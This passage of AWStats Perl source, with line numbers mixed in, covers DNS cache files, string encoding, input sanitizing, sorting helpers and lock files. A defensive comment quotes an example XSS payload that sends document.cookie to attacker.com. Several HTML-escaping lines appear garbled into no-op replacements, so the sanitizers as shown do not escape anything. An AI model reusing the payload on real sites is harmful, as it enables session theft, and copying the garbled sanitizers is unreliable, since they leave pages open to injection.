open( DNSFILE, "$filetoload" )
7398
or error("Couldn't open DNS Cache file \"$filetoload\": $!");
7400
#binmode DNSFILE; # If we set binmode here, it seems that the load is broken on ActiveState 5.8
7401
# This is a fast way to load with regexp
7403
map( /^(?:\d{0,10}\s+)?([0-9A-F:\.]+)\s+([^\s]+)$/oi, <DNSFILE> );
7407
# Plugin call : Save hash file (all records) with test if up to date to save
7408
if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
7409
SaveHash_hashfiles( $filetoload, $hashtoload, 1, 0 );
7416
. ( scalar keys %$hashtoload )
7417
. " items from $filetoload in "
7418
. ( time() - $timetoload )
7426
#------------------------------------------------------------------------------
7427
# Function: Save a memory hash array into a DNS cache file
7428
# Parameters: Hash array ref to save,
7429
# File name to save,
7430
# File suffix to use
7433
# Return: 0 OK, 1 Error
7434
#------------------------------------------------------------------------------
7435
sub Save_DNS_Cache_File {
7436
my $hashtosave = shift;
7437
my $dnscachefile = shift;
7438
my $filesuffix = shift;
7440
my $dnscacheext = '';
7441
my $filetosave = '';
7442
my $timetosave = time();
7443
my $nbofelemtosave = $NBOFLASTUPDATELOOKUPTOSAVE;
7444
my $nbofelemsaved = 0;
7447
debug("Call to Save_DNS_Cache_File [file=\"$dnscachefile\"]");
7449
if ( !scalar keys %$hashtosave ) {
7450
if ($Debug) { debug(" No data to save"); }
7453
if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
7454
$filetosave = "$dnscachefile$filesuffix$dnscacheext";
7456
# Plugin call : Save hash file (only $NBOFLASTUPDATELOOKUPTOSAVE records) with no test if up to date
7457
if ( $PluginsLoaded{'SaveHash'}{'hashfiles'} ) {
7458
SaveHash_hashfiles( $filetosave, $hashtosave, 0, $nbofelemtosave,
7460
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7461
chmod 0666, "$filetosave";
7464
if ( !$nbofelemsaved ) {
7465
$filetosave = "$dnscachefile$filesuffix$dnscacheext";
7471
? "($nbofelemtosave records max)"
7474
. " into file $filetosave"
7477
if ( !open( DNSFILE, ">$filetosave" ) ) {
7479
"Warning: Failed to open for writing last update DNS Cache file \"$filetosave\": $!"
7484
my $starttimemin = int( $starttime / 60 );
7485
foreach my $key ( keys %$hashtosave ) {
7487
#if ($hashtosave->{$key} ne '*') {
7488
my $ipsolved = $hashtosave->{$key};
7489
print DNSFILE "$starttimemin\t$key\t"
7490
. ( $ipsolved eq 'ip' ? '*' : $ipsolved )
7491
. "\n"; # Change 'ip' to '*' for backward compatibility
7492
if ( ++$nbofelemsaved >= $NBOFLASTUPDATELOOKUPTOSAVE ) { last; }
7498
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7499
chmod 0666, "$filetosave";
7505
" Saved $nbofelemsaved items into $filetosave in "
7506
. ( time() - $timetosave )
7514
#------------------------------------------------------------------------------
7515
# Function: Return time elapsed since last call in miliseconds
7516
# Parameters: 0|1 (0 reset counter, 1 no reset)
7519
# Return: Number of miliseconds elapsed since last call
7520
#------------------------------------------------------------------------------
7521
sub GetDelaySinceStart {
7522
if (shift) { $StartSeconds = 0; } # Reset chrono
7523
my ( $newseconds, $newmicroseconds ) = ( time(), 0 );
7525
# Plugin call : Return seconds and milliseconds
7526
if ( $PluginsLoaded{'GetTime'}{'timehires'} ) {
7527
GetTime_timehires( $newseconds, $newmicroseconds );
7529
if ( !$StartSeconds ) {
7530
$StartSeconds = $newseconds;
7531
$StartMicroseconds = $newmicroseconds;
7533
return ( ( $newseconds - $StartSeconds ) * 1000 +
7534
int( ( $newmicroseconds - $StartMicroseconds ) / 1000 ) );
7537
#------------------------------------------------------------------------------
7538
# Function: Reset all variables whose name start with _ because a new month start
7540
# Input: $YearRequired All variables whose name start with _
7541
# Output: All variables whose name start with _
7543
#------------------------------------------------------------------------------
7544
sub Init_HashArray {
7545
if ($Debug) { debug("Call to Init_HashArray"); }
7547
# Reset global hash arrays
7548
%FirstTime = %LastTime = ();
7549
%MonthHostsKnown = %MonthHostsUnknown = ();
7550
%MonthVisits = %MonthUnique = ();
7551
%MonthPages = %MonthHits = %MonthBytes = ();
7552
%MonthNotViewedPages = %MonthNotViewedHits = %MonthNotViewedBytes = ();
7553
%DayPages = %DayHits = %DayBytes = %DayVisits = ();
7555
# Reset all arrays with name beginning by _
7556
for ( my $ix = 0 ; $ix < 6 ; $ix++ ) {
7560
for ( my $ix = 0 ; $ix < 24 ; $ix++ ) {
7564
$_time_nv_h[$ix] = 0;
7565
$_time_nv_k[$ix] = 0;
7566
$_time_nv_p[$ix] = 0;
7569
# Reset all hash arrays with name beginning by _
7570
%_session = %_browser_h = ();
7571
%_domener_p = %_domener_h = %_domener_k = %_errors_h = %_errors_k = ();
7572
%_filetypes_h = %_filetypes_k = %_filetypes_gz_in = %_filetypes_gz_out = ();
7573
%_host_p = %_host_h = %_host_k = %_host_l = %_host_s = %_host_u = ();
7574
%_waithost_e = %_waithost_l = %_waithost_s = %_waithost_u = ();
7575
%_keyphrases = %_keywords = %_os_h = %_pagesrefs_p = %_pagesrefs_h =
7576
%_robot_h = %_robot_k = %_robot_l = %_robot_r = ();
7577
%_worm_h = %_worm_k = %_worm_l = %_login_p = %_login_h = %_login_k =
7578
%_login_l = %_screensize_h = ();
7579
%_misc_p = %_misc_h = %_misc_k = ();
7580
%_cluster_p = %_cluster_h = %_cluster_k = ();
7581
%_se_referrals_p = %_se_referrals_h = %_sider404_h = %_referer404_h =
7582
%_url_p = %_url_k = %_url_e = %_url_x = ();
7583
%_unknownreferer_l = %_unknownrefererbrowser_l = ();
7584
%_emails_h = %_emails_k = %_emails_l = %_emailr_h = %_emailr_k =
7587
for ( my $ix = 1 ; $ix < @ExtraName ; $ix++ ) {
7588
%{ '_section_' . $ix . '_h' } = %{ '_section_' . $ix . '_o' } =
7589
%{ '_section_' . $ix . '_k' } = %{ '_section_' . $ix . '_l' } =
7590
%{ '_section_' . $ix . '_p' } = ();
7592
foreach my $pluginname ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } )
7595
# my $function="SectionInitHashArray_$pluginname()";
7596
# eval("$function");
7597
my $function = "SectionInitHashArray_$pluginname";
7602
#------------------------------------------------------------------------------
7603
# Function: Change word separators of a keyphrase string into space and
7604
# remove bad coded chars
7605
# Parameters: stringtodecode
7608
# Return: decodedstring
7609
#------------------------------------------------------------------------------
7610
sub ChangeWordSeparatorsIntoSpace {
7611
$_[0] =~ s/%0[ad]/ /ig; # LF CR
7612
$_[0] =~ s/%2[02789abc]/ /ig; # space " ' ( ) * + ,
7613
$_[0] =~ s/%3a/ /ig; # :
7615
tr/\+\'\(\)\"\*,:/ /s; # "&" and "=" must not be in this list
7618
#------------------------------------------------------------------------------
7619
# Function: Transforms special chars by entities as needed in XML/XHTML
7620
# Parameters: stringtoencode
7621
# Return: encodedstring
7622
#------------------------------------------------------------------------------
7624
if ( $BuildReportFormat ne 'xhtml' && $BuildReportFormat ne 'xml' ) {
7628
$string =~ s/&/&/g;
7629
$string =~ s/</</g;
7630
$string =~ s/>/>/g;
7631
$string =~ s/\"/"/g;
7632
$string =~ s/\'/'/g;
7636
#------------------------------------------------------------------------------
7637
# Function: Transforms spaces into %20 and special chars by HTML entities as needed in XML/XHTML
7638
# Decoding is done by XMLDecodeFromHisto.
7639
# AWStats data files are stored in ISO-8859-1.
7640
# Parameters: stringtoencode
7641
# Return: encodedstring
7642
#------------------------------------------------------------------------------
7643
sub XMLEncodeForHisto {
7645
$string =~ s/\s/%20/g;
7646
if ( $BuildHistoryFormat ne 'xml' ) { return $string; }
7647
$string =~ s/=/%3d/g;
7648
$string =~ s/&/&/g;
7649
$string =~ s/</</g;
7650
$string =~ s/>/>/g;
7651
$string =~ s/\"/"/g;
7652
$string =~ s/\'/'/g;
7656
#------------------------------------------------------------------------------
7657
# Function: Encode an ISO string to PageCode output
7658
# Parameters: stringtoencode
7659
# Return: encodedstring
7660
#------------------------------------------------------------------------------
7661
sub EncodeToPageCode {
7663
if ( $PageCode eq 'utf-8' ) { $string = encode( "utf8", $string ); }
7667
#------------------------------------------------------------------------------
7668
# Function: Encode a binary string into an ASCII string
7669
# Parameters: stringtoencode
7670
# Return: encodedstring
7671
#------------------------------------------------------------------------------
7676
$string =~ s/([\x2B\x80-\xFF])/sprintf ("%%%2x", ord($1))/eg;
7679
$string =~ tr/ /+/s;
7683
#------------------------------------------------------------------------------
7684
# Function: Decode an url encoded text string into a binary string
7685
# Parameters: stringtodecode
7688
# Return: decodedstring
7689
#------------------------------------------------------------------------------
7690
sub DecodeEncodedString {
7691
my $stringtodecode = shift;
7692
$stringtodecode =~ tr/\+/ /s;
7693
$stringtodecode =~ s/%([A-F0-9][A-F0-9])/pack("C", hex($1))/ieg;
7694
$stringtodecode =~ s/["']//g;
7696
return $stringtodecode;
7699
#------------------------------------------------------------------------------
7700
# Function: Decode an precompiled regex value to a common regex value
7701
# Parameters: compiledregextodecode
7704
# Return: standardregex
7705
#------------------------------------------------------------------------------
7706
sub UnCompileRegex {
7707
shift =~ /\(\?[-\w]*:(.*)\)/;
7711
#------------------------------------------------------------------------------
7712
# Function: Clean a string of all chars that are not char or _ - \ / . \s
7713
# Parameters: stringtoclean, full
7716
# Return: cleanedstring
7717
#------------------------------------------------------------------------------
7719
my $stringtoclean = shift;
7720
my $full = shift || 0;
7722
$stringtoclean =~ s/[^\w]//g;
7725
$stringtoclean =~ s/[^\w\-\\\/\.:\s]//g;
7727
return $stringtoclean;
7730
#------------------------------------------------------------------------------
7731
# Function: Clean a string of HTML tags to avoid 'Cross Site Scripting attacks'
7733
# A XSS attack is providing an AWStats url with XSS code that is executed
7734
# when page loaded by awstats CGI is loaded from AWStats server. Such a code
7735
# can be<script>document.write("<img src=http://attacker.com/page.php?" + document.cookie)</script>
7736
# This make the browser sending a request to the attacker server that contains
7737
# cookie used for AWStats server sessions. Attacker can this way caught this
7738
# cookie and used it to go on AWStats server like original visitor. For this
7739
# resaon, parameter received by AWStats must be sanitized by this function
7740
# before beeing put inside a web page.
7741
# Parameters: stringtoclean
7744
# Return: cleanedstring
7745
#------------------------------------------------------------------------------
7747
my $stringtoclean = shift;
7749
# To avoid html tags and javascript
7750
$stringtoclean =~ s/</</g;
7751
$stringtoclean =~ s/>/>/g;
7752
$stringtoclean =~ s/|//g;
7755
$stringtoclean =~ s/onload//g;
7756
return $stringtoclean;
7759
#------------------------------------------------------------------------------
7760
# Function: Clean tags in a string
7761
# AWStats data files are stored in ISO-8859-1.
7762
# Parameters: stringtodecode
7765
# Return: decodedstring
7766
#------------------------------------------------------------------------------
7767
sub XMLDecodeFromHisto {
7768
my $stringtoclean = shift;
7769
$stringtoclean =~ s/$regclean1/ /g; # Replace <recnb> or </td> with space
7770
$stringtoclean =~ s/$regclean2//g; # Remove others <xxx>
7771
$stringtoclean =~ s/%3d/=/g;
7772
$stringtoclean =~ s/&/&/g;
7773
$stringtoclean =~ s/</</g;
7774
$stringtoclean =~ s/>/>/g;
7775
$stringtoclean =~ s/"/\"/g;
7776
$stringtoclean =~ s/'/\'/g;
7777
return $stringtoclean;
7780
#------------------------------------------------------------------------------
7781
# Function: Copy one file into another
7782
# Parameters: sourcefilename targetfilename
7785
# Return: 0 if copy is ok, 1 else
7786
#------------------------------------------------------------------------------
7788
my $filesource = shift;
7789
my $filetarget = shift;
7790
if ($Debug) { debug( "FileCopy($filesource,$filetarget)", 1 ); }
7791
open( FILESOURCE, "$filesource" ) || return 1;
7792
open( FILETARGET, ">$filetarget" ) || return 1;
7799
if ($Debug) { debug( " File copied", 1 ); }
7803
#------------------------------------------------------------------------------
7804
# Function: Format a QUERY_STRING
7808
# Return: formated query
7809
#------------------------------------------------------------------------------
7810
# TODO Appeller cette fonction partout ou il y a des NewLinkParams
7811
sub CleanNewLinkParamsFrom {
7812
my $NewLinkParams = shift;
7813
while ( my $param = shift ) {
7814
$NewLinkParams =~ s/(^|&|&)$param(=[^&]*|$)//i;
7816
$NewLinkParams =~ s/(&|&)+/&/i;
7817
$NewLinkParams =~ s/^&//;
7818
$NewLinkParams =~ s/&$//;
7819
return $NewLinkParams;
7822
#------------------------------------------------------------------------------
7823
# Function: Show flags for other language translations
7824
# Parameters: Current languade id (en, fr, ...)
7828
#------------------------------------------------------------------------------
7829
sub Show_Flag_Links {
7830
my $CurrentLang = shift;
7833
my $NewLinkParams = $QueryString;
7834
my $NewLinkTarget = '';
7835
if ( $ENV{'GATEWAY_INTERFACE'} ) {
7837
CleanNewLinkParamsFrom( $NewLinkParams,
7838
( 'update', 'staticlinks', 'framename', 'lang' ) );
7839
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
7840
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
7841
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
7842
$NewLinkParams =~ s/(^|&|&)lang=[^&]*//i;
7843
$NewLinkParams =~ s/(&|&)+/&/i;
7844
$NewLinkParams =~ s/^&//;
7845
$NewLinkParams =~ s/&$//;
7846
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
7848
if ( $FrameName eq 'mainright' ) {
7849
$NewLinkTarget = " target=\"_parent\"";
7854
( $SiteConfig ? "config=$SiteConfig&" : "" )
7855
. "year=$YearRequired&month=$MonthRequired&";
7857
if ( $NewLinkParams !~ /output=/ ) { $NewLinkParams .= 'output=main&'; }
7858
if ( $FrameName eq 'mainright' ) {
7859
$NewLinkParams .= 'framename=index&';
7862
foreach my $lng ( split( /\s+/, $ShowFlagLinks ) ) {
7864
$LangBrowserToLangAwstats{$lng}
7865
? $LangBrowserToLangAwstats{$lng}
7867
if ( $lng ne $CurrentLang ) {
7869
'en', 'English', 'fr', 'French', 'de', 'German',
7870
'it', 'Italian', 'nl', 'Dutch', 'es', 'Spanish'
7872
my $lngtitle = ( $lngtitle{$lng} ? $lngtitle{$lng} : $lng );
7874
$LangAWStatsToFlagAwstats{$lng}
7875
? $LangAWStatsToFlagAwstats{$lng}
7879
. XMLEncode("$AWScript?${NewLinkParams}lang=$lng")
7880
. "\"$NewLinkTarget><img src=\"$DirIcons\/flags\/$flag.png\" height=\"14\" border=\"0\""
7881
. AltTitle("$lngtitle")
7882
. " /></a> \n";
7887
#------------------------------------------------------------------------------
7888
# Function: Format value in bytes in a string (Bytes, Kb, Mb, Gb)
7889
# Parameters: bytes (integer value or "0.00")
7892
# Return: "x.yz MB" or "x.yy KB" or "x Bytes" or "0"
7893
#------------------------------------------------------------------------------
7895
my $bytes = shift || 0;
7898
# Do not use exp/log function to calculate 1024power, function make segfault on some unix/perl versions
7899
if ( $bytes >= ( $fudge << 30 ) ) {
7900
return sprintf( "%.2f", $bytes / 1073741824 ) . " $Message[110]";
7902
if ( $bytes >= ( $fudge << 20 ) ) {
7903
return sprintf( "%.2f", $bytes / 1048576 ) . " $Message[109]";
7905
if ( $bytes >= ( $fudge << 10 ) ) {
7906
return sprintf( "%.2f", $bytes / 1024 ) . " $Message[108]";
7908
if ( $bytes < 0 ) { $bytes = "?"; }
7909
return int($bytes) . ( int($bytes) ? " $Message[119]" : "" );
7912
#------------------------------------------------------------------------------
7913
# Function: Format a number
7914
# Parameters: number
7917
# Return: "999 999 999 999"
7918
#------------------------------------------------------------------------------
7920
my $number = shift || 0;
7921
$number =~ s/(\d)(\d\d\d)$/$1 $2/;
7922
$number =~ s/(\d)(\d\d\d\s\d\d\d)$/$1 $2/;
7923
$number =~ s/(\d)(\d\d\d\s\d\d\d\s\d\d\d)$/$1 $2/;
7927
#------------------------------------------------------------------------------
7928
# Function: Return " alt=string title=string"
7929
# Parameters: string
7932
# Return: "alt=string title=string"
7933
#------------------------------------------------------------------------------
7935
my $string = shift || '';
7936
return " alt='$string' title='$string'";
7938
# return " alt=\"$string\" title=\"$string\"";
7939
# return ($BuildReportFormat?"":" alt=\"$string\"")." title=\"$string\"";
7942
#------------------------------------------------------------------------------
7943
# Function: Tell if an email is a local or external email
7945
# Input: $SiteDomain(exact string) $HostAliases(quoted regex string)
7947
# Return: -1, 0 or 1
7948
#------------------------------------------------------------------------------
7950
my $email = shift || 'unknown';
7951
if ( $email !~ /\@(.*)$/ ) { return 0; }
7953
if ( $domain =~ /^$SiteDomain$/i ) { return 1; }
7954
foreach (@HostAliases) {
7955
if ( $domain =~ /$_/ ) { return 1; }
7960
#------------------------------------------------------------------------------
7961
# Function: Format a date according to Message[78] (country date format)
7962
# Parameters: String date YYYYMMDDHHMMSS
7963
# Option 0=LastUpdate and LastTime date
7964
# 1=Arrays date except daymonthvalues
7965
# 2=daymonthvalues date (only year month and day)
7966
# Input: $Message[78]
7968
# Return: Date with format defined by Message[78] and option
7969
#------------------------------------------------------------------------------
7972
my $option = shift || 0;
7973
my $year = substr( "$date", 0, 4 );
7974
my $month = substr( "$date", 4, 2 );
7975
my $day = substr( "$date", 6, 2 );
7976
my $hour = substr( "$date", 8, 2 );
7977
my $min = substr( "$date", 10, 2 );
7978
my $sec = substr( "$date", 12, 2 );
7979
my $dateformat = $Message[78];
7981
if ( $option == 2 ) {
7982
$dateformat =~ s/^[^ymd]+//g;
7983
$dateformat =~ s/[^ymd]+$//g;
7985
$dateformat =~ s/yyyy/$year/g;
7986
$dateformat =~ s/yy/$year/g;
7987
$dateformat =~ s/mmm/$MonthNumLib{$month}/g;
7988
$dateformat =~ s/mm/$month/g;
7989
$dateformat =~ s/dd/$day/g;
7990
$dateformat =~ s/HH/$hour/g;
7991
$dateformat =~ s/MM/$min/g;
7992
$dateformat =~ s/SS/$sec/g;
7993
return "$dateformat";
7996
#------------------------------------------------------------------------------
7997
# Function: Return 1 if string contains only ascii chars
7998
# Parameters: string
8002
#------------------------------------------------------------------------------
8005
if ($Debug) { debug( "IsAscii($string)", 5 ); }
8006
if ( $string =~ /^[\w\+\-\/\\\.%,;:=\"\'&?!\s]+$/ ) {
8007
if ($Debug) { debug( " Yes", 6 ); }
8010
; # Only alphanum chars (and _) or + - / \ . % , ; : = " ' & ? space \t
8012
if ($Debug) { debug( " No", 6 ); }
8016
#------------------------------------------------------------------------------
8017
# Function: Return the lower value between 2 but exclude value if 0
8018
# Parameters: Val1 and Val2
8021
# Return: min(Val1,Val2)
8022
#------------------------------------------------------------------------------
8023
sub MinimumButNoZero {
8024
my ( $val1, $val2 ) = @_;
8025
return ( $val1 && ( $val1 < $val2 || !$val2 ) ? $val1 : $val2 );
8028
#------------------------------------------------------------------------------
8029
# Function: Add a val from sorting tree
8030
# Parameters: keytoadd keyval [firstadd]
8034
#------------------------------------------------------------------------------
8036
my $keytoadd = shift;
8038
my $firstadd = shift || 0;
8039
if ( $firstadd == 1 ) { # Val is the first one
8040
if ($Debug) { debug( " firstadd", 4 ); }
8041
$val{$keyval} = $keytoadd;
8042
$lowerval = $keyval;
8045
" lowerval=$lowerval, nb elem val="
8046
. ( scalar keys %val )
8048
. ( scalar keys %egal ) . ".",
8054
if ( $val{$keyval} ) { # Val is already in tree
8055
if ($Debug) { debug( " val is already in tree", 4 ); }
8056
$egal{$keytoadd} = $val{$keyval};
8057
$val{$keyval} = $keytoadd;
8060
" lowerval=$lowerval, nb elem val="
8061
. ( scalar keys %val )
8063
. ( scalar keys %egal ) . ".",
8069
if ( $keyval <= $lowerval )
8070
{ # Val is a new one lower (should happens only when tree is not full)
8073
" keytoadd val=$keyval is lower or equal to lowerval=$lowerval",
8077
$val{$keyval} = $keytoadd;
8078
$nextval{$keyval} = $lowerval;
8079
$lowerval = $keyval;
8082
" lowerval=$lowerval, nb elem val="
8083
. ( scalar keys %val )
8085
. ( scalar keys %egal ) . ".",
8092
# Val is a new one higher
8094
debug( " keytoadd val=$keyval is higher than lowerval=$lowerval", 4 );
8096
$val{$keyval} = $keytoadd;
8097
my $valcursor = $lowerval; # valcursor is value just before keyval
8098
while ( $nextval{$valcursor} && ( $nextval{$valcursor} < $keyval ) ) {
8099
$valcursor = $nextval{$valcursor};
8101
if ( $nextval{$valcursor} )
8102
{ # keyval is between valcursor and nextval{valcursor}
8103
$nextval{$keyval} = $nextval{$valcursor};
8105
$nextval{$valcursor} = $keyval;
8108
" lowerval=$lowerval, nb elem val="
8109
. ( scalar keys %val )
8111
. ( scalar keys %egal ) . ".",
8117
#------------------------------------------------------------------------------
8118
# Function: Remove a val from sorting tree
8120
# Input: $lowerval %val %egal
8123
#------------------------------------------------------------------------------
8124
sub Removelowerval {
8125
my $keytoremove = $val{$lowerval}; # This is lower key
8127
debug( " remove for lowerval=$lowerval: key=$keytoremove", 4 );
8129
if ( $egal{$keytoremove} ) {
8130
$val{$lowerval} = $egal{$keytoremove};
8131
delete $egal{$keytoremove};
8134
delete $val{$lowerval};
8135
$lowerval = $nextval{$lowerval}; # Set new lowerval
8139
" new lower value=$lowerval, val size="
8140
. ( scalar keys %val )
8142
. ( scalar keys %egal ),
8148
#------------------------------------------------------------------------------
8149
# Function: Build @keylist array
8150
# Parameters: Size max for @keylist array,
8151
# Min value in hash for select,
8152
# Hash used for select,
8153
# Hash used for order
8156
# Return: @keylist response array
8157
#------------------------------------------------------------------------------
8159
my $ArraySize = shift || error(
8160
"System error. Call to BuildKeyList function with incorrect value for first param",
8163
my $MinValue = shift || error(
8164
"System error. Call to BuildKeyList function with incorrect value for second param",
8167
my $hashforselect = shift;
8168
my $hashfororder = shift;
8171
" BuildKeyList($ArraySize,$MinValue,$hashforselect with size="
8172
. ( scalar keys %$hashforselect )
8173
. ",$hashfororder with size="
8174
. ( scalar keys %$hashfororder ) . ")",
8178
delete $hashforselect->{0};
8179
delete $hashforselect->{ ''
8180
}; # Those is to protect from infinite loop when hash array has an incorrect null key
8182
$lowerval = 0; # Global because used in AddInTree and Removelowerval
8187
foreach my $key ( keys %$hashforselect ) {
8188
if ( $count < $ArraySize ) {
8189
if ( $hashforselect->{$key} >= $MinValue ) {
8193
" Add in tree entry $count : $key (value="
8194
. ( $hashfororder->{$key} || 0 )
8195
. ", tree not full)",
8199
AddInTree( $key, $hashfororder->{$key} || 0, $count );
8204
if ( ( $hashfororder->{$key} || 0 ) <= $lowerval ) { next; }
8207
" Add in tree entry $count : $key (value="
8208
. ( $hashfororder->{$key} || 0 )
8209
. " > lowerval=$lowerval)",
8213
AddInTree( $key, $hashfororder->{$key} || 0 );
8214
if ($Debug) { debug( " Removelower in tree", 4 ); }
8218
# Build key list and sort it
8221
" Build key list and sort it. lowerval=$lowerval, nb elem val="
8222
. ( scalar keys %val )
8224
. ( scalar keys %egal ) . ".",
8228
my %notsortedkeylist = ();
8229
foreach my $key ( values %val ) { $notsortedkeylist{$key} = 1; }
8230
foreach my $key ( values %egal ) { $notsortedkeylist{$key} = 1; }
8233
sort { ( $hashfororder->{$b} || 0 ) <=> ( $hashfororder->{$a} || 0 ) }
8234
keys %notsortedkeylist
8237
debug( " BuildKeyList End (keylist size=" . (@keylist) . ")", 3 );
8242
#------------------------------------------------------------------------------
8243
# Function: Lock or unlock update
8244
# Parameters: status (1 to lock, 0 to unlock)
8245
# Input: $DirLock (if status=0) $PROG $FileSuffix
8246
# Output: $DirLock (if status=1)
8248
#------------------------------------------------------------------------------
8251
my $lock = "$PROG$FileSuffix.lock";
8254
# We stop if there is at least one lock file wherever it is
8255
foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
8257
$newkey =~ s/[\\\/]$//;
8258
if ( -f "$newkey/$lock" ) {
8260
"An AWStats update process seems to be already running for this config file. Try later.\nIf this is not true, remove manually lock file '$newkey/$lock'.",
8266
# Set lock where we can
8267
foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
8268
if ( !-d "$key" ) { next; }
8270
$DirLock =~ s/[\\\/]$//;
8271
if ($Debug) { debug("Update lock file $DirLock/$lock is set"); }
8272
open( LOCK, ">$DirLock/$lock" )
8273
|| error( "Failed to create lock file $DirLock/$lock", "", "",
8276
"AWStats update started by process $$ at $nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\n";
8284
if ($Debug) { debug("Update lock file $DirLock/$lock is removed"); }
8285
unlink("$DirLock/$lock");
8290
#------------------------------------------------------------------------------
8291
# Function: Signal handler to call Lock_Update to remove lock file
8292
# Parameters: Signal name
8296
#------------------------------------------------------------------------------
8298
my $signame = shift;
8299
print ucfirst($PROG) . " process (ID $$) interrupted by signal $signame.\n";
8304
#------------------------------------------------------------------------------
8305
# Function: Convert an IPAddress into an integer
8306
# Parameters: IPAddress
8310
#------------------------------------------------------------------------------
8311
sub Convert_IP_To_Decimal {
8312
my ($IPAddress) = @_;
8313
my @ip_seg_arr = split( /\./, $IPAddress );
8314
my $decimal_ip_address =
8315
256 * 256 * 256 * $ip_seg_arr[0] + 256 * 256 * $ip_seg_arr[1] + 256 *
8316
$ip_seg_arr[2] + $ip_seg_arr[3];
8317
return ($decimal_ip_address);
8320
#------------------------------------------------------------------------------
8321
# Function: Test there is at least on value in list not null
8322
# Parameters: List of values
8325
# Return: 1 There is at least one not null value, 0 else
8326
#------------------------------------------------------------------------------
8327
sub AtLeastOneNotNull {
8329
debug( " Call to AtLeastOneNotNull (" . join( '-', @_ ) . ")", 3 );
8331
foreach my $val (@_) {
8332
if ($val) { return 1; }
8337
#------------------------------------------------------------------------------
8338
# Function: Return the string to add in html tag to include popup javascript code
8339
# Parameters: tooltip number
8342
# Return: string with javascript code
8343
#------------------------------------------------------------------------------
8348
? " onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\""
8353
#------------------------------------------------------------------------------
8354
# Function: Insert a form filter
8355
# Parameters: Name of filter field, default for filter field, default for exclude filter field
8356
# Input: $StaticLinks, $QueryString, $SiteConfig, $DirConfig
8359
#------------------------------------------------------------------------------
8360
sub ShowFormFilter {
8361
my $fieldfiltername = shift;
8362
my $fieldfilterinvalue = shift;
8363
my $fieldfilterexvalue = shift;
8364
if ( !$StaticLinks ) {
8365
my $NewLinkParams = ${QueryString};
8366
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
8367
$NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i;
8368
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
8369
$NewLinkParams =~ s/(&|&)+/&/i;
8370
$NewLinkParams =~ s/^&//;
8371
$NewLinkParams =~ s/&$//;
8372
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
8373
print "\n<form name=\"FormFilter\" action=\""
8374
. XMLEncode("$AWScript?${NewLinkParams}")
8375
. "\" class=\"aws_border\">\n";
8377
"<table valign=\"middle\" width=\"99%\" border=\"0\" cellspacing=\"0\" cellpadding=\"2\"><tr>\n";
8378
print "<td align=\"left\" width=\"50\">$Message[79] :</td>\n";
8380
"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}\" value=\"$fieldfilterinvalue\" class=\"aws_formfield\" /></td>\n";
8381
print "<td> </td>";
8382
print "<td align=\"left\" width=\"100\">$Message[153] :</td>\n";
8384
"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}ex\" value=\"$fieldfilterexvalue\" class=\"aws_formfield\" /></td>\n";
8386
print "<input type=\"hidden\" name=\"output\" value=\""
8387
. join( ',', keys %HTMLOutput )
8392
"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
8396
"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
8398
if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) {
8399
print "<input type=\"hidden\" name=\"year\" value=\"$2\" />\n";
8401
if ( $QueryString =~ /(^|&|&)month=(\d\d)/i
8402
|| $QueryString =~ /(^|&|&)month=(all)/i )
8404
print "<input type=\"hidden\" name=\"month\" value=\"$2\" />\n";
8406
if ( $QueryString =~ /(^|&|&)lang=(\w+)/i ) {
8407
print "<input type=\"hidden\" name=\"lang\" value=\"$2\" />\n";
8409
if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) {
8410
print "<input type=\"hidden\" name=\"debug\" value=\"$2\" />\n";
8412
if ( $QueryString =~ /(^|&|&)framename=(\w+)/i ) {
8413
print "<input type=\"hidden\" name=\"framename\" value=\"$2\" />\n";
8416
"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" /></td>\n";
8417
print "<td> </td>";
8418
print "</tr></table>\n";
8425
#------------------------------------------------------------------------------
8426
# Function: Write other user info (with help of plugin)
8428
# Input: $SiteConfig
8431
#------------------------------------------------------------------------------
8435
# Call to plugins' function ShowInfoUser
8436
foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoUser'} } ) {
8438
# my $function="ShowInfoUser_$pluginname('$user')";
8439
# eval("$function");
8440
my $function = "ShowInfoUser_$pluginname";
8445
#------------------------------------------------------------------------------
8446
# Function: Write other cluster info (with help of plugin)
8447
# Parameters: $clusternb
8448
# Input: $SiteConfig
8449
# Output: Cluster info
8451
#------------------------------------------------------------------------------
8452
sub ShowClusterInfo {
8455
# Call to plugins' function ShowInfoCluster
8456
foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoCluster'} } )
8459
# my $function="ShowInfoCluster_$pluginname('$user')";
8460
# eval("$function");
8461
my $function = "ShowInfoCluster_$pluginname";
8466
#------------------------------------------------------------------------------
8467
# Function: Write other host info (with help of plugin)
8469
# Input: $LinksToWhoIs $LinksToWhoIsIp
8472
#------------------------------------------------------------------------------
8476
# Call to plugins' function ShowInfoHost
8477
foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoHost'} } ) {
8479
# my $function="ShowInfoHost_$pluginname('$host')";
8480
# eval("$function");
8481
my $function = "ShowInfoHost_$pluginname";
8486
#------------------------------------------------------------------------------
8487
# Function: Write other url info (with help of plugin)
8489
